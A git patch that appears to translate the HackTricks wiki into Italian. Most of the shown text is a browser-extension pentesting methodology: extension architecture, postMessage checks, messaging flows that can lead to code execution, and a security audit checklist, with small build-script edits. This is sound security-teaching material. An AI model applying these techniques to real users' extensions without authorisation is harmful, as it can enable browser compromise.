From 0ce09df424914c1eb3a7a0773c2795e0f20aaffa Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 03:36:21 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox --- .github/pull_request_template.md | 2 +- book.toml | 1 + hacktricks-preprocessor.py | 20 +- .../README.md | 60 ++--- .../browext-clickjacking.md | 12 +- ...rowext-permissions-and-host_permissions.md | 16 +- .../browext-xss-example.md | 2 +- src/pentesting-web/cache-deception/README.md | 8 +- .../cache-deception/cache-poisoning-to-dos.md | 4 +- .../cache-poisoning-via-url-discrepancies.md | 16 +- .../README.md | 48 ++-- .../README.md | 14 +- src/pentesting-web/deserialization/README.md | 42 ++-- ...er-gadgets-expandedwrapper-and-json.net.md | 2 +- ...ialization-objectinputstream-readobject.md | 4 +- .../exploiting-__viewstate-parameter.md | 10 +- ...ava-dns-deserialization-and-gadgetprobe.md | 6 +- ...ava-transformers-to-rutime-exec-payload.md | 8 +- ...g-and-directory-interface-and-log4shell.md | 27 +- .../README.md | 10 +- .../client-side-prototype-pollution.md | 6 +- .../prototype-pollution-to-rce.md | 28 +-- .../php-deserialization-+-autoload-classes.md | 10 +- .../python-yaml-deserialization.md | 2 +- .../deserialization/ruby-class-pollution.md | 8 +- src/pentesting-web/file-inclusion/README.md | 36 +-- ..._stream_prefer_studio-+-path-disclosure.md | 2 +- .../lfi2rce-via-eternal-waiting.md | 8 +- .../file-inclusion/lfi2rce-via-php-filters.md | 2 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 2 +- .../lfi2rce-via-temp-file-uploads.md | 2 +- .../file-inclusion/phar-deserialization.md | 6 +- .../via-php_session_upload_progress.md | 2 +- src/pentesting-web/file-upload/README.md | 20 +- .../hacking-with-cookies/README.md | 16 +- .../cookie-jar-overflow.md | 2 +- .../hacking-with-cookies/cookie-tossing.md | 6 +- .../http-connection-request-smuggling.md | 4 +- .../http-request-smuggling/README.md | 40 +-- .../http-response-smuggling-desync.md | 16 +- src/pentesting-web/iframe-traps.md | 6 +- src/pentesting-web/ldap-injection.md | 5 +- src/pentesting-web/login-bypass/README.md | 2 +- .../login-bypass/sql-login-bypass.md | 2 +- src/pentesting-web/nosql-injection.md | 2 +- .../oauth-to-account-takeover.md | 29 ++- src/pentesting-web/orm-injection.md | 8 +- src/pentesting-web/parameter-pollution.md | 21 +- .../pocs-and-polygloths-cheatsheet/README.md | 2 +- .../postmessage-vulnerabilities/README.md | 16 +- ...blocking-main-page-to-steal-postmessage.md | 12 +- .../bypassing-sop-with-iframes-1.md | 4 +- .../bypassing-sop-with-iframes-2.md | 4 +- .../proxy-waf-protections-bypass.md | 8 +- src/pentesting-web/race-condition.md | 10 +- src/pentesting-web/rate-limit-bypass.md | 6 +- .../registration-vulnerabilities.md | 4 +- ...ular-expression-denial-of-service-redos.md | 10 +- src/pentesting-web/reset-password.md | 58 ++--- src/pentesting-web/reverse-tab-nabbing.md | 6 +- src/pentesting-web/saml-attacks/README.md | 62 ++--- .../saml-attacks/saml-basics.md | 6 +- ...inclusion-edge-side-inclusion-injection.md | 6 +- src/pentesting-web/sql-injection/README.md | 44 ++-- .../sql-injection/ms-access-sql-injection.md | 6 +- .../sql-injection/mssql-injection.md | 18 +- .../sql-injection/mysql-injection/README.md | 2 +- .../sql-injection/oracle-injection.md | 6 +- .../postgresql-injection/README.md | 2 +- .../big-binary-files-upload-postgresql.md | 4 +- .../pl-pgsql-password-bruteforce.md | 2 +- .../rce-with-postgresql-extensions.md | 10 +- .../rce-with-postgresql-languages.md | 2 +- src/pentesting-web/sql-injection/sqlmap.md | 26 +- .../sql-injection/sqlmap/README.md | 52 ++-- .../README.md | 22 +- .../cloud-ssrf.md | 8 +- .../url-format-bypass.md | 2 +- .../README.md | 42 ++-- .../el-expression-language.md | 4 +- .../jinja2-ssti.md | 8 +- src/pentesting-web/timing-attacks.md | 6 +- .../unicode-injection/README.md | 2 +- .../unicode-normalization.md | 8 +- src/pentesting-web/uuid-insecurities.md | 12 +- src/pentesting-web/web-tool-wfuzz.md | 8 +- .../web-vulnerabilities-methodology/README.md | 2 +- src/pentesting-web/websocket-attacks.md | 14 +- src/pentesting-web/xs-search.md | 236 +++++++++--------- src/pentesting-web/xs-search/README.md | 128 +++++----- .../connection-pool-by-destination-example.md | 2 +- .../xs-search/connection-pool-example.md | 6 +- .../xs-search/css-injection/README.md | 10 +- .../event-loop-blocking-+-lazy-images.md | 2 +- .../performance.now-+-force-heavy-task.md | 2 +- ...ble-stylesheet-language-transformations.md | 6 +- .../xss-cross-site-scripting/README.md | 72 +++--- .../abusing-service-workers.md | 2 +- .../chrome-cache-to-xss.md | 2 +- .../debugging-client-side-js.md | 2 +- .../dom-clobbering.md | 4 +- .../xss-cross-site-scripting/dom-invader.md | 12 +- .../xss-cross-site-scripting/dom-xss.md | 10 +- .../iframes-in-xss-and-csp.md | 4 +- .../xss-cross-site-scripting/js-hoisting.md | 2 +- .../other-js-tricks.md | 10 +- .../server-side-xss-dynamic-pdf.md | 4 +- .../xss-cross-site-scripting/sniff-leak.md | 6 +- .../some-same-origin-method-execution.md | 8 +- .../xssi-cross-site-script-inclusion.md | 8 +- .../xxe-xee-xml-external-entity.md | 22 +- .../escaping-from-gui-applications/README.md | 231 +---------------- .../firmware-analysis/README.md | 16 +- .../firmware-analysis/bootloader-testing.md | 2 +- src/physical-attacks/physical-attacks.md | 2 +- src/radio-hacking/README.md | 2 +- .../low-power-wide-area-network.md | 2 +- .../pentesting-ble-bluetooth-low-energy.md | 6 +- src/radio-hacking/pentesting-rfid.md | 16 +- .../arbitrary-write-2-exec/README.md | 2 +- .../aw2exec-__malloc_hook.md | 2 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 4 +- .../aws2exec-.dtors-and-.fini_array.md | 2 +- .../aslr/README.md | 12 +- .../aslr/ret2plt.md | 4 +- .../no-exec-nx.md | 2 +- .../pie/README.md | 2 +- .../pie/bypassing-canary-and-pie.md | 4 +- .../stack-canaries/README.md | 10 +- .../bf-forked-stack-canaries.md | 8 +- .../stack-canaries/print-stack-canary.md | 6 +- .../common-exploiting-problems.md | 4 +- .../linux-exploiting-basic-esp/elf-tricks.md | 16 +- .../format-strings/README.md | 12 +- .../stack-overflow/README.md | 12 +- .../stack-overflow/ret2csu.md | 4 +- .../stack-overflow/ret2dlresolve.md | 8 +- .../stack-overflow/ret2esp-ret2reg.md | 2 +- .../stack-overflow/ret2lib/README.md | 16 +- .../rop-leaking-libc-address/README.md | 14 +- .../rop-leaking-libc-template.md | 2 +- .../stack-overflow/ret2ret.md | 2 +- .../stack-overflow/ret2win.md | 22 +- .../rop-return-oriented-programing.md | 14 +- .../srop-sigreturn-oriented-programming.md | 2 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 4 +- .../stack-overflow/stack-shellcode.md | 2 +- src/reversing/common-api-used-in-malware.md | 92 +++---- .../cryptographic-algorithms/README.md | 16 +- .../reversing-tools-basic-methods/README.md | 22 +- .../angr/README.md | 4 +- .../cheat-engine.md | 14 +- .../satisfiability-modulo-theories-smt-z3.md | 10 +- src/reversing/reversing-tools/README.md | 10 +- src/reversing/reversing-tools/blobrunner.md | 4 +- src/reversing/word-macros.md | 4 +- src/stego/stego-tricks.md | 12 +- src/todo/burp-suite.md | 2 +- src/todo/hardware-hacking/README.md | 8 +- src/todo/hardware-hacking/i2c.md | 6 +- src/todo/hardware-hacking/radio.md | 20 +- src/todo/hardware-hacking/spi.md | 14 +- src/todo/hardware-hacking/uart.md | 8 +- .../README.md | 2 +- .../modbus.md | 2 +- src/todo/interesting-http.md | 4 +- src/todo/investment-terms.md | 12 +- .../0.-basic-llm-concepts.md | 2 +- .../1.-tokenizing.md | 4 +- .../3.-token-embeddings.md | 6 +- .../4.-attention-mechanisms.md | 12 +- .../5.-llm-architecture.md | 20 +- .../7.0.-lora-improvements-in-fine-tuning.md | 4 +- ...7.2.-fine-tuning-to-follow-instructions.md | 4 +- .../llm-training-data-preparation/README.md | 55 +++- src/todo/more-tools.md | 16 +- src/todo/online-platforms-with-api.md | 6 +- src/todo/post-exploitation.md | 6 +- .../radio-hacking/fissure-the-rf-framework.md | 10 +- src/todo/radio-hacking/flipper-zero/README.md | 2 +- .../flipper-zero/fz-125khz-rfid.md | 6 +- .../radio-hacking/flipper-zero/fz-infrared.md | 4 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 2 +- src/todo/radio-hacking/ibutton.md | 2 +- src/todo/radio-hacking/infrared.md | 4 +- src/todo/radio-hacking/pentesting-rfid.md | 10 +- src/todo/radio-hacking/proxmark-3.md | 4 +- src/todo/radio-hacking/sub-ghz-rf.md | 10 +- src/todo/rust-basics.md | 2 +- ...itive-information-disclosure-from-a-web.md | 2 +- src/todo/test-llms.md | 4 +- src/welcome/about-the-author.md | 4 +- src/welcome/hacktricks-values-and-faq.md | 14 +- .../active-directory-methodology/README.md | 128 +++++----- .../abusing-ad-mssql.md | 6 +- .../acl-persistence-abuse/README.md | 10 +- .../shadow-credentials.md | 4 +- .../ad-certificates.md | 22 +- .../ad-certificates/README.md | 6 +- .../ad-certificates/certificate-theft.md | 10 +- .../ad-certificates/domain-escalation.md | 47 ++-- .../ad-certificates/domain-persistence.md | 12 +- .../ad-information-in-printers.md | 14 +- .../asreproast.md | 2 +- .../bloodhound.md | 6 +- .../custom-ssp.md | 2 +- .../active-directory-methodology/dcshadow.md | 10 +- .../active-directory-methodology/dcsync.md | 2 +- .../diamond-ticket.md | 4 +- .../dsrm-credentials.md | 6 +- ...external-forest-domain-one-way-outbound.md | 4 +- .../external-forest-domain-oneway-inbound.md | 8 +- .../golden-ticket.md | 4 +- .../kerberos-double-hop-problem.md | 15 +- .../active-directory-methodology/laps.md | 2 +- .../password-spraying.md | 2 +- .../printers-spooler-service-abuse.md | 12 +- .../privileged-groups-and-token-privileges.md | 12 +- .../rdp-sessions-abuse.md | 6 +- .../resource-based-constrained-delegation.md | 12 +- .../sid-history-injection.md | 20 +- .../silver-ticket.md | 22 +- .../skeleton-key.md | 4 +- .../unconstrained-delegation.md | 8 +- .../authentication-credentials-uac-and-efs.md | 30 +-- .../README.md | 14 +- .../uac-user-account-control.md | 44 ++-- src/windows-hardening/av-bypass.md | 22 +- .../basic-cmd-for-pentesters.md | 8 +- .../basic-powershell-for-pentesters/README.md | 12 +- .../checklist-windows-privilege-escalation.md | 4 +- src/windows-hardening/cobalt-strike.md | 12 +- .../lateral-movement/dcom-exec.md | 2 +- .../lateral-movement/smbexec.md | 3 +- src/windows-hardening/ntlm/README.md | 14 +- src/windows-hardening/ntlm/wmiexec.md | 4 +- .../stealing-credentials/README.md | 14 +- .../credentials-mimikatz.md | 4 +- .../credentials-protections.md | 12 +- .../README.md | 54 ++-- .../access-tokens.md | 8 +- .../acls-dacls-sacls-aces.md | 22 +- ...ectory-permission-over-service-registry.md | 6 +- .../create-msi-with-wix.md | 4 +- .../dll-hijacking.md | 18 +- .../dll-hijacking/README.md | 77 +++--- .../dpapi-extracting-passwords.md | 6 +- .../integrity-levels.md | 4 +- .../juicypotato.md | 30 +-- .../leaked-handle-exploitation.md | 14 +- .../msi-wrapper.md | 2 +- .../privilege-escalation-abusing-tokens.md | 18 +- .../README.md | 10 +- ...vilege-escalation-with-autorun-binaries.md | 14 +- .../roguepotato-and-printspoofer.md | 2 +- .../seimpersonate-from-high-to-system.md | 6 +- .../uac-user-account-control.md | 12 +- theme/book.js | 55 ++++ theme/css/chrome.css | 52 +++- theme/index.hbs | 78 ++++-- theme/sponsor.js | 2 - 261 files changed, 1853 insertions(+), 1905 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index ee3ca75a7..6c25a4c2b 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,6 +1,6 @@ Puoi rimuovere questo contenuto prima di inviare la PR: ## Attribution -Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale favorisce un ambiente di condivisione affidabile e legale per tutti. +Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale promuove un ambiente di condivisione affidabile e legale per tutti. Grazie per aver contribuito a HackTricks! diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 1bb8f1bee..4bad0e751 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -12,26 +12,26 @@ I layout delle estensioni appaiono migliori quando visualizzati e consistono in

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

-### **Content Scripts** +### **Script di Contenuto** -Ogni content script ha accesso diretto al DOM di una **singola pagina web** ed è quindi esposto a **input potenzialmente dannosi**. Tuttavia, il content script non contiene permessi se non la possibilità di inviare messaggi al core dell'estensione. +Ogni script di contenuto ha accesso diretto al DOM di una **singola pagina web** ed è quindi esposto a **input potenzialmente dannosi**. Tuttavia, lo script di contenuto non contiene permessi se non la capacità di inviare messaggi al core dell'estensione. -### **Extension Core** +### **Core dell'Estensione** -Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e content scripts. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host. +Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e script di contenuto. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host. -### **Native Binary** +### **Binary Nativo** -L'estensione consente un binario nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binario nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser. +L'estensione consente un binary nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binary nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser. ### Confini > [!CAUTION] -> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dal content script al core dell'estensione e dal core dell'estensione al binario nativo. +> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dallo script di contenuto al core dell'estensione e dal core dell'estensione al binary nativo. -Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. I content scripts e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi di sistema operativo. +Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi di sistema operativo. -Inoltre, i content scripts sono separati dalle loro pagine web associate **eseguendo in un heap JavaScript separato**. Il content script e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, prevenendo la fuoriuscita di funzionalità JavaScript. +Inoltre, gli script di contenuto sono separati dalle loro pagine web associate **eseguendo in un heap JavaScript separato**. Lo script di contenuto e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, prevenendo la fuoriuscita di funzionalità JavaScript. ## **`manifest.json`** @@ -61,7 +61,7 @@ Esempio: ``` ### `content_scripts` -I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regolare **`*://*/*/business*`**. Eseguono **come gli script della pagina** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina. +I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regolare **`*://*/*/business*`**. Eseguono **come gli script della pagina stessa** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina. ```json "content_scripts": [ { @@ -217,7 +217,7 @@ I messaggi inviati dagli script di contenuto vengono ricevuti dalla **pagina di - **Generazione Automatica:** Se non definita esplicitamente, il browser creerà automaticamente una pagina di background. Questa pagina generata automaticamente includerà tutti gli script di background specificati nel manifesto dell'estensione, garantendo il funzionamento senza soluzione di continuità delle attività di background dell'estensione. > [!TIP] -> La comodità fornita dal browser nella generazione automatica di una pagina di background (quando non dichiarata esplicitamente) assicura che tutti gli script di background necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione. +> La comodità fornita dal browser nella generazione automatica di una pagina di background (quando non dichiarata esplicitamente) garantisce che tutti gli script di background necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione. Esempio di script di background: ```js @@ -450,12 +450,12 @@ window.postMessage( false ) ``` -Una comunicazione sicura tramite Post Message dovrebbe controllare l'autenticità del messaggio ricevuto, questo può essere fatto controllando: +Una comunicazione sicura Post Message dovrebbe controllare l'autenticità del messaggio ricevuto, questo può essere fatto controllando: - **`event.isTrusted`**: Questo è True solo se l'evento è stato attivato da un'azione dell'utente - Lo script di contenuto potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione - **dominio di origine**: potrebbe aspettarsi un messaggio solo da un elenco di domini autorizzati. -- Se viene utilizzata una regex, prestare molta attenzione +- Se viene utilizzata una regex, fai molta attenzione - **Fonte**: `received_message.source !== window` può essere utilizzato per controllare se il messaggio proviene **dalla stessa finestra** in cui lo Script di Contenuto sta ascoltando. I controlli precedenti, anche se eseguiti, potrebbero essere vulnerabili, quindi controlla nella seguente pagina **potenziali bypass di Post Message**: @@ -482,9 +482,9 @@ Puoi anche trovare un esempio di un **XSS basato su DOM per compromettere un'est browext-xss-example.md {{#endref}} -## Comunicazione tra Script di Contenuto **↔︎** Script di Background +## Comunicazione Script di Contenuto **↔︎** Script di Background -Uno Script di Contenuto può utilizzare le funzioni [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) per inviare un messaggio **JSON-serializzabile** **una tantum**. +Uno Script di Contenuto può utilizzare le funzioni [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) per inviare un messaggio **JSON serializzabile una tantum**. Per gestire la **risposta**, utilizza la **Promise** restituita. Anche se, per compatibilità retroattiva, puoi ancora passare un **callback** come ultimo argomento. @@ -563,11 +563,11 @@ In [**questo post del blog**](https://spaceraccoon.dev/universal-code-execution- 3. Lo script di background passa il messaggio all'applicazione nativa utilizzando `sendNativeMessage`. 4. L'applicazione nativa gestisce il messaggio in modo pericoloso, portando all'esecuzione di codice. -E all'interno di esso viene spiegato un esempio di **passare da qualsiasi pagina a RCE abusando di un'estensione del browser**. +E all'interno di esso viene spiegato un esempio di **come passare da qualsiasi pagina a RCE abusando di un'estensione del browser**. ## Informazioni Sensibili in Memoria/Codice/Clipboard -Se un'estensione del browser memorizza **informazioni sensibili all'interno della sua memoria**, queste potrebbero essere **estratte** (soprattutto su macchine Windows) e **cercate** per queste informazioni. +Se un'estensione del browser memorizza **informazioni sensibili nella sua memoria**, queste potrebbero essere **estratte** (soprattutto su macchine Windows) e **cercate** per queste informazioni. Pertanto, la memoria dell'estensione del browser **non dovrebbe essere considerata sicura** e **informazioni sensibili** come credenziali o frasi mnemoniche **non dovrebbero essere memorizzate**. @@ -608,7 +608,7 @@ unzip -d "$extension_id-source" "$extension_id.zip" Un altro metodo conveniente è utilizzare il Chrome Extension Source Viewer, che è un progetto open-source. Può essere installato dal [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Il codice sorgente del visualizzatore è disponibile nel suo [repository GitHub](https://github.com/Rob--W/crxviewer). -### Visualizza il sorgente dell'estensione installata localmente +### Visualizza il codice sorgente dell'estensione installata localmente Le estensioni di Chrome installate localmente possono essere ispezionate. Ecco come: @@ -619,9 +619,9 @@ Le estensioni di Chrome installate localmente possono essere ispezionate. Ecco c Per identificare le estensioni, puoi mappare i loro ID ai nomi: - Abilita la Modalità Sviluppatore nella pagina `about:extensions` per vedere gli ID di ciascuna estensione. -- All'interno di ciascuna cartella dell'estensione, il file `manifest.json` contiene un campo `name` leggibile, che ti aiuta a identificare l'estensione. +- All'interno della cartella di ciascuna estensione, il file `manifest.json` contiene un campo `name` leggibile, che ti aiuta a identificare l'estensione. -### Usa un Archiviatore di File o Decompressore +### Usa un archiviatore di file o un estrattore Vai al Chrome Web Store e scarica l'estensione. Il file avrà un'estensione `.crx`. Cambia l'estensione del file da `.crx` a `.zip`. Usa qualsiasi archiviatore di file (come WinRAR, 7-Zip, ecc.) per estrarre il contenuto del file ZIP. @@ -636,15 +636,15 @@ Per cercare di individuare estensioni del browser vulnerabili, puoi utilizzare i # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" ``` -## Lista di Controllo per Audit di Sicurezza +## Checklist di Audit di Sicurezza Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali di indurimento**. Le seguenti sono le più comuni: - [ ] **Limitare** il più possibile le **`permissions`** richieste - [ ] **Limitare** il più possibile le **`host_permissions`** - [ ] Utilizzare una **forte** **`content_security_policy`** -- [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo di default, specificare **`{}`** -- [ ] Se è menzionato qui un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente. +- [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo per impostazione predefinita, specificare **`{}`** +- [ ] Se qui è menzionato un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente. - [ ] **Limitare** il più possibile le **`web_accessible_resources`**, anche vuote se possibile. - [ ] Se **`web_accessible_resources`** non è nullo, controllare per [**ClickJacking**](browext-clickjacking.md) - [ ] Se avviene qualche **comunicazione** dall'**estensione** alla **pagina web**, [**controllare per XSS**](browext-xss-example.md) **vulnerabilità** causate nella comunicazione. @@ -652,9 +652,9 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, - [ ] Se il **Content Script accede ai dettagli del DOM**, controllare che non **stia introducendo un XSS** se viene **modificato** dal web - [ ] Fare particolare attenzione se questa comunicazione è coinvolta anche nella **comunicazione Content Script -> Background script** - [ ] Se lo script di background comunica tramite **native messaging**, controllare che la comunicazione sia sicura e sanificata -- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser -- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser -- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto** +- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser +- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser +- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto** ## Rischi delle Estensioni del Browser @@ -672,15 +672,15 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, - **Funzione(i) Pericolosa(e)**: mostra la posizione delle funzioni pericolose che potrebbero essere potenzialmente sfruttate da un attaccante (ad es. funzioni come innerHTML, chrome.tabs.executeScript). - **Punto(i) di Entrata**: mostra dove l'estensione riceve input da utenti/esterni. Questo è utile per comprendere l'area di superficie di un'estensione e cercare potenziali punti per inviare dati malevoli all'estensione. - Sia il scanner di Funzione(i) Pericolosa(e) che il scanner di Punto(i) di Entrata hanno quanto segue per i loro avvisi generati: -- Frammento di codice rilevante e riga che ha causato l'avviso. +- Frammento di codice pertinente e riga che ha causato l'avviso. - Descrizione del problema. - Un pulsante "Visualizza File" per visualizzare il file sorgente completo contenente il codice. - Il percorso del file avvisato. - L'URI completo dell'estensione di Chrome del file avvisato. -- Il tipo di file, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc. +- Il tipo di file che è, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc. - Se la riga vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa così come il tipo di queste pagine e lo stato di [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources). - **Analizzatore di Content Security Policy (CSP) e controllore di bypass**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN autorizzati, ecc. -- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare l'uso di librerie JavaScript note come vulnerabili. +- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare eventuali utilizzi di librerie JavaScript note come vulnerabili. - Scarica l'estensione e versioni formattate. - Scarica l'estensione originale. - Scarica una versione abbellita dell'estensione (HTML e JavaScript automaticamente formattati). @@ -689,7 +689,7 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, ### [Neto](https://github.com/elevenpaths/neto) -Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste di plugin e estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse rilevanti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML. +Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste dei plugin e delle estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML. ## Riferimenti diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 112e8f703..356026129 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base -Questa pagina sfrutterà una vulnerabilità di ClickJacking in un'estensione del Browser.\ +Questa pagina sfrutterà una vulnerabilità di ClickJacking in un'estensione del browser.\ Se non sai cos'è il ClickJacking, controlla: {{#ref}} @@ -13,7 +13,7 @@ Se non sai cos'è il ClickJacking, controlla: Le estensioni contengono il file **`manifest.json`** e quel file JSON ha un campo `web_accessible_resources`. Ecco cosa dicono [i documenti di Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources): -> Queste risorse sarebbero quindi disponibili in una pagina web tramite l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, che può essere generato con il **`extension.getURL method`**. Le risorse autorizzate sono servite con intestazioni 